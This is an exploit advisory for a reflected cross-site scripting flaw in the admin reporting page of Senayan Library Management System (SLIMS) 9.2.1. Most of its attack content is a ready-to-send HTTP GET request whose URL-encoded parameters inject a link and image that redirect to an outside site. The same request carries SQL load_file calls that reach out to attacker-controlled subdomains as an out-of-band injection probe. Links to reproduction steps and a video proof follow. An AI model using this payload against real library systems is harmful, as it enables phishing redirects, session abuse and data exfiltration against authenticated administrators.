## Title: Senayan Library Management System v9.2.1 a.k.a SLIMS 9
XSS-Reflected - inserting gif - redirect to outside HTTPS server
## Author: nu11secur1ty
## Date: 12.20.2022
## Vendor: https://slims.web.id/web/
## Software: https://github.com/slims/slims9_bulian/releases/download/v9.2.1/slims9_bulian-9.2.1.zip
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.1

## Description:
The value of manual insertion `point 3` is copied into the HTML
document as plain text between tags.
The payload t8xqv<script>alert(1)</script>uou2q was submitted in the
manual insertion `point 3`.
This input was echoed unmodified in the application's response.
The attacker can trick the already authenticated users to visit an
very dangerous web page ot malicious javascript exploit.

## STATUS: HIGH Vulnerability

[+] Payloads:

```GET
GET /slims9_bulian-9.2.1/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%77%77%77%2e%6e%75%31%31%73%65%63%75%72%31%74%79%2e%63%6f%6d%2f%22%3e%3c%69%6d%67%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%63%64%6e%35%2d%63%61%70%72%69%6f%66%69%6c%65%73%2e%6e%65%74%64%6e%61%2d%73%73%6c%2e%63%6f%6d%2f%77%70%2d%63%6f%6e%74%65%6e%74%2f%75%70%6c%6f%61%64%73%2f%32%30%31%37%2f%30%37%2f%49%4d%47%5f%30%30%36%38%2e%67%69%66%22%3e%0a%0a&membershipType=a%27%27&collType=aaaa%27%2b(select%20load_file(%27%5c%5c%5c%5cdctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id%5c%5cwtf%27))%2b%27%27%2b(select%20load_file(%27%5c%5c%5c%5cazditm561h7fku3yj99us8ne258zwpkgn4eu1opd.slims.web.id%5c%5cdzd%27))%2b%27
HTTP/1.1
Host: pwnedhost.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SenayanAdmin=o6o88hktpej7qdtu621h58q16q; admin_logged_in=1
Connection: close
Content-Length: 2
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.1)

## Proof and Exploit:
[href](https://streamable.com/i20ipf)

## Time spent
`01:35:00`